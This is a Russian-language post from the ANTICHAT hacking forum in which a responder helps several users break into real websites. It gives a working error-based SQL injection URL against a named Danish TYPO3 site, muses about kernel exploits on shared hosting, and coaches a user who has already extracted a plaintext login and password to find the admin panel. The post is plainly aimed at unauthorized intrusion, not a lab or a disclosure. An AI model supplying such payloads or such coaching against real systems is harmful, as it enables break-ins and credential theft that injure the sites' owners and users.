ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от DezMond™

↑
Хелп, не получается раскрутить(
http://www.byggecentrum.dk/kurser/k...t/produkter/sortering/kursusdato'/?no_cache=1

Легко и просто:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.byggecentrum.dk/kurser/kursuskategorier/handling/list/produkter/sortering/%60name%60,extractvalue(0x0a,concat(0x0a,(select+version())))--+g/?no_cache=1[/COLOR][/COLOR]

Только там с точками пробелы, но учитывая, что стоит на TYPO3, мне кажется структуру БД найти не будет проблемой.

Цитата:

Сообщение от Octavian

↑
есть урл такого вида site.com:8082,site.com:8088...что означяет даные порты....если я взломая 1 попаду на обШии сервак? как Это работает?

Это может быть CPanel, ISPManager и т.д. Скорее всего хостинг, так что перспективы иметь доступ ко всему малы. Может повезет, и ядро ОС старое, тогда есть шансы на полный контроль. Но я бы посоветовал начинать с основ, типа PHP.

Цитата:

Сообщение от SaNDER

↑
Вывел логин и пароль через xpath syntax error,ищу админку,нашёл токо phpmyadmin.
Ввожу данные и не подходят(пароль не хэш был,а незашифрованный!) .
Значит есть другая админка или проблема в другом?
Ошибка 1045 выводил . не удалось подключиться к mysql...

PhpMyAdmin - утилита для подключения к базе данных. Пароль к нему подойдет, только если ты взял его из `mysql`.`user`.

Если пароль взят из другой таблицы, то определенно есть другая админка. Поищи еще.

Если есть стандартная форма авторизации, попробуй через нее, возможно ссылка на админку появится сама.

И да, Yii является фреймворком, а не CMS. Советую, тоже, основы.